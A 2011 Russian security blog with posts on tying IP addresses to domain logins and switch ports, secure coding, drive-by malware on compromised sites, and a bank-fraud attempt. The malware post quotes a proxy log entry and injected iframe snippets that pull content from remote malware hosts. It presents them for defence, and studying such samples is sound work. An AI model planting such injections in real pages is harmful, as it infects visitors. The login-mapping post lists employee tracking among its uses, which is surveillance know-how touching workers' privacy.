Monday, October 31, 2011

Определяем кто это

В продолжение некоторых повествований о Tool-ах напишу об одном из методов определения личности из IP-адреса (или MAC-адреса, или порта коммутатора) в управлеяемой сети. Здесь я не буду выписывать конкретные скрипты, но если на то будет потребность, куда-нибудь их выложу.

Под "управляемой" я понимаю сеть, где используется какой-то корпоаративный каталог и предприняты меры, чтобы все пользователи в этом каталоге как минимум аутентифицировались. В данной статье в роли каталога будет MS ActiveDirectory.

Соответствие IP-адрес (крайне актуально при использовании DHCP!) логину в домен можно взять из события входа в домен.
Для Windows 2003 - это event ID 540, для Windows 2008 - 4624.

Выгружуть логи входа в домен можно прямо в базу MSSQL logparser-ом, например, вот так:
logparser "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,UNN,'|') AS UserName, EXTRACT_TOKEN(Strings,SNAN,'|') AS SourceNetworkAddress, EXTRACT_TOKEN(Strings,APN,'|') AS AuthenticationPackage INTO TABLENAME FROM \\SERVERNAME\Security WHERE EventID=EVENT AND TimeGenerated > SUB( SYSTEM_TIMESTAMP(), TIMESTAMP('2', 'd') ) AND UserName NOT IN ('';'ANONYMOUS LOGON';'OTHER YOU DONT NEED') AND SourceNetworkAddress <> '-' AND UserName NOT LIKE '%\$' GROUP BY TimeGenerated, UserName, SourceNetworkAddress, AuthenticationPackage " -i:EVT -o:SQL -server:DBSERVER -database:DBNAME -ignoreIdCols:ON -transactionRowCount:1000 -iCheckpoint:CPFILE

Здесь EVENT соответствующий EventID, SERVERNAME - сервер с которого забирать логи (контроллер домена), TABLENAME - имя таблицы куда положить, DBSERVER - сервер базы, где лежит TABLENAME, DBNAME - имя базы данных на сервер DBSERVER, CPFILE - файл контрольной точки (см помощь по logparser-у)
При этом отфильтровываются все "не люди", типа ANONYMOUS LOGON или Что-то$ (является компьютером).

Команда EXTRACT_TOKEN извлекает из переменной Strings токены (разделенные | ) с соотвествующими номерами (фактически, это место того или иного значения в переменной Strings). Чтобы было понятно, покажу как выглядит поле Strings:
S-1-0-0|-|-|0x0|S-1-5-21-2470146651-3958396388-2989495117-22222222|wgates|WINDOMAIN|0x1d4bdaa0|3|Kerberos|Kerberos||{65E49E5E-ABDF-AA83-C373-B27A1ED589E7}|-|-|0|0x0|-|1.1.1.1|3325


Для разных Windows на разных местах стоят различные параметры события. Нам нужны:
UserName
SourceNetworkAddress
AuthenticationPackage

Соотвествующие им номера токенов в приведенной выше команде:
UNN - место в Strings для значения
UserName
SNAN - для SourceNetworkAddress
APN - для AuthenticationPackage

Соотвествующие значения для 2003:
UNN => 0,
SNAN => 13,
APN => 5,

Для 2008:
UNN => 5,
SNAN => 18,
APN => 10,

Чтобы подставить правильный EventID, нужно узнать какая версия ОС на SERVERNAME. Это тоже можно сделать logparser-ом, так как последний умеет читать и из реестра:
logparser "SELECT Value FROM '\\SERVERNAME\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' WHERE ValueName = 'ProductName' " -i:REG -o:NAT -headers:OFF -recurse:0 -q:ON
Для 2003 будет возвращено:
Microsoft Windows Server 2003
Для 2008 что-нибудь вроде:
Windows Server 2008 R2 Enterprise

Еще немаловажно, как бы это странно не звучало, найти все контроллеры домена. Тут нам поможет штатная команда Windows:
netdom query /D:DOMAINNAME DC
Она вернет список NetBIOS-имен контроллеров домена, которые затем нужно подставлять вместо SERVERNAME в указанные выше команды.

Итак, из таблицы TABLENAME мы можем получить связку IP - ADLogin.

Далее, связку IP - MAC можно получить с маршрутизатора.
Для маршрутизатора Cisco команда такая:
show ip arp
Если используется VRF (скорее всего да, поскольку это уже общепринятая практика), соответственно:
show ip arp vrf VRFNAME

Поскольку MAC, как правило, в обычных условиях не меняют, можно сказать, что компьютер уникально идентифицировали.

В целом, можно воспользоваться DNS-именем, оно тоже нечасто меняется. Хотя, для рабочих станций пользователей ситуация может и меняться.

Последнее, хочется установить коммутатор и номер порта, где этот пользователь располагается. Эту информмацию можно взять с коммутатора. Команды:
Для IOS-а:
show mac-address-table dyn
Для CatOS-а:
sh cam dynamic

Команды вернут связку VLAN-MAC-PORT, название коммутатора, соответственно, - где эту команду вызывали.

Проблема здесь только в том, что надо отфильтровать транки. Какие порты транковые можно узнать так:
для CatOS:
show trunk
Для IOS:
show interface status

Подведем итог:
IP-ADLogin - берем из контролера домена, события входа в домен
IP-MAC - берем с маршрутизатора
VLAN-MAC-PORT-SWITCH - берем с коммутатора.

Если есть какая-либо база разводки СКС, то PORT-SWITCH можно преобразовать в непосредственное метопололжение в офисе. В целом, все что нужно.

Применения.
Приведу лишь некоторые, активно используемые в практике.
1. Определение физического местоположения злоумышленника.
2. Отслеживание перемещений сотрудников по рабочим местам, офисам.
3. Фиксация прихода на работу по событию 'interface up/down' коммутатора. Событие содержит номер порта, который можно преобразовать в Login.
4. Поиск всех компьютеров, на которых логинился в домен пользователь.
....



Thursday, October 27, 2011

Разработчик ПО - безопасник

Давно я уже не работаю программистом и вопросами как это делается сейчас "в промышленых" масштабах не интересуюсь, но, может, кому покажется полезной идея, изложенная здесь.

Все пограммные продукты, которые я когд-либо разрабатывал в конечном итоге были мною и спроектированы. Конечно, я тоже читал умные книжки о том, что надо сначала все спланировать, продумать алгоритм, нарисовать все схемки, предусмотреть все мелочи .... и только потом брать какую-нибудь SDE и кодировать. Но, я никогда не программировал с промышленных масштабах, в крупных командах, и в, конечном итоге, сам себе был и архитектор и реализатор. Думаю, что, тем не менее, я не в меньшинстве: всегда есть начальство, которое дает высокоуровневую задачу, реализацию которой от начала до конца следует продумать нам, подчиненным.

Из опыта (возможно плохого и неправильного с т.з. высокой науки планирования программных решений) могу сказать, что на момент начала кодирования далеко не все мелочи продуманы и даже некоторые запланированные фрагменты основного алгоритма по ходу реализации могут значительно изменяться. Причин таких изменений "по ходу реализации" может быть великое множество и я бы не хотел их тут подробно разбирать, может быть, когда-нибудь потом. Когда такие изменения некуда эскалировать, я сам и разработчик, и архитектор, и главный идейный генератор, я уже перехожу в разряд "творцов" и программирование для меня из механики (буквально перевод на язык программирования == переводчик) в что-то вроде, не побоюсь этого, творчества (== художник, писатель). Очевидно, что при тврочестве у меня уже нет возможности (да и я сам не рекомендовал бы распыляться!) мне уже некогда обращать внимание на правильность и точность механических действий (приведу не очень удачный пример: когда я увлеченно говорю на неродном для себя языке, я допускаю грамматические ошибки, поскольку я не могу в момент увлеченности жестко контролировать технику механики, собственно, речи: грамматику, произношение и т.п. Пример не очень удачен, ввиду того, что если я имею достаточно большую практику, я буду механически говорить правильно не напрягаясь. Но такая "привычка делать правильно" не может развиться при кодировании). Т.е. когда я творю, я, скорее всего, не думаю о безопасности моего кода, я концентрируюсь на функционале. Как следствие, я не проверяю входные параметры (поскольку такие проверки, при отсутствии стандартных функций сильно напрягают мозг), я не использую "безопасные" варианты функций и много чего еще не делаю, что надо бы, но не хочется отвлекаться, чтобы не потерять мысль.

Решением данной проблемы мне видится появление (а может уже где есть) специального класса "программистов-безопасников", которые потом будут вычитывать исходные коды за "творцами" и исправлять потенциально небезопасные реализации. Этот процесс, как мне кажется, можно достаточно хорошо поставить на поток, поскольку есть масса матерала о том, как надо писать на том или ином языке, и как не надо. Можно все эти "рекомендации" собрать, систематизировать и использовать. Можно даже что-то проверять, наверно, автоматизированными средствами, которые смогут выискивать потенциально небезопасные конструкции.

Из экономических соображений (еще один безопасник!), хочется программиста-безопасника интегрировать в обычного программиста, а всю творческую составляющую полность от него отнять. Мой (сразу скажу - небольшой) опыт показывает что полностью это сделать не получится. Обилие уязвимостей, связанных именно с программной реализацией: все виды переполнения буфера, всякие инъекции, всевозможные кросс-сайт штуки и т.п. показывает, что обзр исходников на безопасность если и производится, то крайне плохо.

Еще один возможный камень в огород моего предложения - не будет решена проблема архитектурных уязвимостей. Но, кто будет спорить с необходимостью привлечения безопасности на всех этапах SDLC!? Мой (на сей раз уже значительный) опыт участия в проектах в качестве того самого безопасника-эксперта показывает, что не только в разных проектах нужен безопасник разной специализации (думаю, это очевидно, не буду объяснять), но и на разных этапах нужен также профессионал в соответствующей области. А слово "профессионал" в моем, возможно, извращенном представлении, никак не ассоциируется с уточнением "широкого профиля" - нельзя быть профессионалом во всем.

Напомню, что здесь на ваш суд я обозначил потребность в программисте-безопаснике. Традиционно, любые мысли приветствуются.

Thursday, October 20, 2011

Безопасность Web-приложений со стороны пользователя

Опыт анализа логов IDS и web-прокси только по одной компании полностью подтверждает написанное. Вообще, у меня сложилось впечатление, что:
1. Хостеры, сайтописатели и службы безопасности интернет-представительств либо плохо работают, либо вовсе не следят за своими сайтами. Первое время мы оповещали владельцев сайтов, что их сайт взломан и на нем хостится "что-то", что потом залетает к нашим пользователям, посещающим их сайт. После нескольких, достаточно веселых переписок, напоминающих легенду о вымирании динозавров (их тело было настолько большим, а нервная система настолько несовершенна, что нервный импульс от хвоста до мозга доходил несколько минут), я посчитал это занятие малоэффективным.
2. В Интернет существует просто громаднейшее количество сайтов, которые так или иначе скомпрометированы. Даже если сайт имеет Имя, совсем не значит, что он не может хостить "что-то", чего вы бы не хотели получить. К этому надо быть готовым.

К сожалению, никто кроме нас нам не поможет.

Как это выглядит? Приведу лишь словесное описание и один пример (, как это выглядит в лолгах.
На страничку сайта как-то попадает ссылка на "нехороший" сайт, который хостит PDF, Java-апплет или Flash-ролик. Внутри PDF - JavaScript, который уже закачивает, возможно, с другого "нехорошего" сайта бинарник, представляющий собой зловред. Наш печальный опыт показывает, что подавляющее большинство этих зловредов не ловятся практически никаким антивирусом (использовали virustotal). Понятно, что антивирусы умирают, но жалко как-то: крутится на компе, поедает его ресурсы, а эффекта мало :-(

В логах прокси:
1.1.1.1 - "MSAD\BGates" [12/Oct/2011:06:10:06 +0400] "GET http://l65.in/stats8888/buble.php?key=rtgddfg%26u=root HTTP/1.0" 200 627 281 275 344 "http://<скрыто из этических соображений>/daily/25768/2753033/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)" "-" - "text/html" "default" 0.258 "-" TCP_MISS

Первая ссылка - куда пошел пользователь, вторая - Referrer - позволят предполагать откуда.
Не надо пытаться разрешить сайт
l65.in, по нашей статистике живут такие сайты не более месяца, в большинстве случаев - несколько дней.

На страничке сайта "Скрыто из этических соображений" это выглядит примерно так:
<script>
var rnd = Math.round(Math.random() * 100000);
document.write("<"+"if"+"rame src="+"http://{куда-то далеко}.in/if"+"rame.php?r="+rnd+"&id=8 width=100% height=975 marginwidth=0 marginheight=0 scrolling=no frameborder=0>");</script>

или совсем просто:

<iframe src="http://<тоже не близко>.in/wea54/06.php" height="0" width="0"></iframe>

Можно, пройти по этим iframe и покачать бинарники, попостить их на www.virustotal.com, от чего настроение ухудшится ибо хочется верить в эффективность моего антивируса.

Скажу сразу, что не все, что мы тут выкачивали из этих iframe-ов было зловредом. Такая же "технология" используется для интернет рекламы, сбора статистики посещений и раскрутки сайтов через счетчики посещений (заходя на сайт "скрыто из этических соображений" пользователи невольно заходят еще куда-то что фиксируется всякими трейсерами и кликосчетчиками). Вообще, зловред загружается со специального хостящего сайта, что создает широкое поле для фантазии админа сайта хостящего зловреды. В целом, могу предположить, что этим можно и неплохо зарабатывать.

Что же делать?

Безусловно, надо людям помогать, писать письма в сайты, что у них поселилось что-то. Но опыт показывает, что трудозатрат эти переписки стоят, а эффекта никакого: после нашей переписки с "скрыто из этических соображений" (известный сайт новостей) "что-то" было-таки удалено, но вскоре (на следующий день) появилось снова. Надо надеяться на себя. Что планируется предпринять:

1. Ужесточить загрузку бинарников из Интернет: загружать могут только кому надо, только откуда можно, только что нужно.
2. Если пользователь имеет мощные права (тем более админ домена, админ серверов критичных, хелпдеск с правами админа на всех десктопах и пр) - никакого интернет.. Отключить JavaScript в Acrobat-е. Можно через интерфейс - найти несложно, можно через реестр (предпочтительно, если операцию следует проделать, скажем, на 15 000 компьютеров):
HKCU\Software\Adobe\Adobe Acrobat\10.0\JSPrefs\bEnableJS = 0
4. Отключить все ненужные плагины в браузере. Вам нужно, чтобы документ Adobe показывался прямо из IE или Mozilla-ы? Мне это крайне неудобно.
5. Стараться ставить все обновления на Flash, Java, Adobe, Office.
6. Подумать об использование персональной HIPS или использовать сетевую IPS в активном режиме. Если антивирусы мертвы, то почему IPS - нет? Не знаю, но опыт показывает, что в конкретных сетевых атаках IPS достаточно эффективна. Смею предположить, что это связано с тем, что у IPS история короче и они не имеют еще многомегабайтных баз, а также с тем, что IPS фиксирует метод атаки, а антивирус конкретный контент (payload). Все-таки методов атак пока меньше, чем вариантов передаваемого зловреда. Последнее в защиту IPS: да, она шумит кучей событий, но опытному глазу этот шум помогает, а не мешает. Может, использование нейросетей и/или AI в антивирусах когда-нибудь станет реальностью и он будет так же эффективен сам собой, как (шумная IDS + опытный глаз), но пока счет не в их пользу. В целом, идея коллективной безопасности (или "безопасности из облаков") тут может быть эффективно, но тут диалектическая проблема: Зла уже столько, что перечислять его все уже менее эффективно, чем перечислять Добро.
7 (самое радикальное). Перейти на системы белого списка. Это как антивирус, только на оборот: они, в отличие от антивируса, который блокирует все Зло, - не блокируют Добро, но блокируют все остальное. Системы типа LAC или SolidCore и т.п. помогут.

Если у кого будет что добавить к написанному, буду крайне признателен.


ЗЫ: я тут вот писал этот пост, вставлял фрагменты с iframe, потом нажал Publish Post и начал его смотреть. Смотрю, а все мои iframe-ы из примеров выполнились и пытаются показать свои src. Да, блоги еще то зло - даже ломать ничего не надо!

Tuesday, October 18, 2011

моя полиция меня бережет

Так случилось, что 6 дней назад в конторе у знакомого со счета было украдено почти 600т.р. через программу клиент-банк. По несчастливой случайности, в момент кражи на компьютере удаленно работал аутсорсер. Но, к счастью, спустя незначительное время после перевода денег, директор запросил остатки на счету, тут то пропажа и выплыла.

Контора знакомого выполняет следующие действия:
1. комиссионно опечатывает компьютер, на котором стоял клиент-банк, запирает компьютер в сейф.
2. пишет заявление в полицию о попытке кражи
3. пишет заявление в банк, о с просьбой провести проверку
Аутсорсер:
1. фиксирует все журналы работы
2. бекапит телефонные переговоры в момент обслуживания
Ждем доблесную полицию. Ничего не трогаем, хотя руки чешутся посмотреть компьютер.
У полици есть 3 дня на рассмотрение заявления. В особых случаях, заявление рассматривается до 10 дней. У нас особый случай. Ждем....
Сегодня выясняется, коли кражи денег не случилось и средства вернулись счастливому хозяину, в возбуждении дела скорее всего будет отказано. Обидно. Государство дает шанс гадам попытаться украсть деньги еще раз.
Звоним в банк - ребяты, мы ваши клиенты, давайте поищем гадов вместе! В ответ слышим - ваше заявление отправлено в головной офис на рассмотрение. Ждите ответа. Опять обидно. Не смотря на то, что у банка есть возможность уберечь своих клиентов от жуликов, банк предпочитает соблюсти все внутренние бюрократические процедуры.
Ждем истечения 10ти рабочих дней и вскрываем пломбы...
Кстати о банке - это сбербанк.
Первая рекомендация - ставьте смс-информирование на движение денег по счету.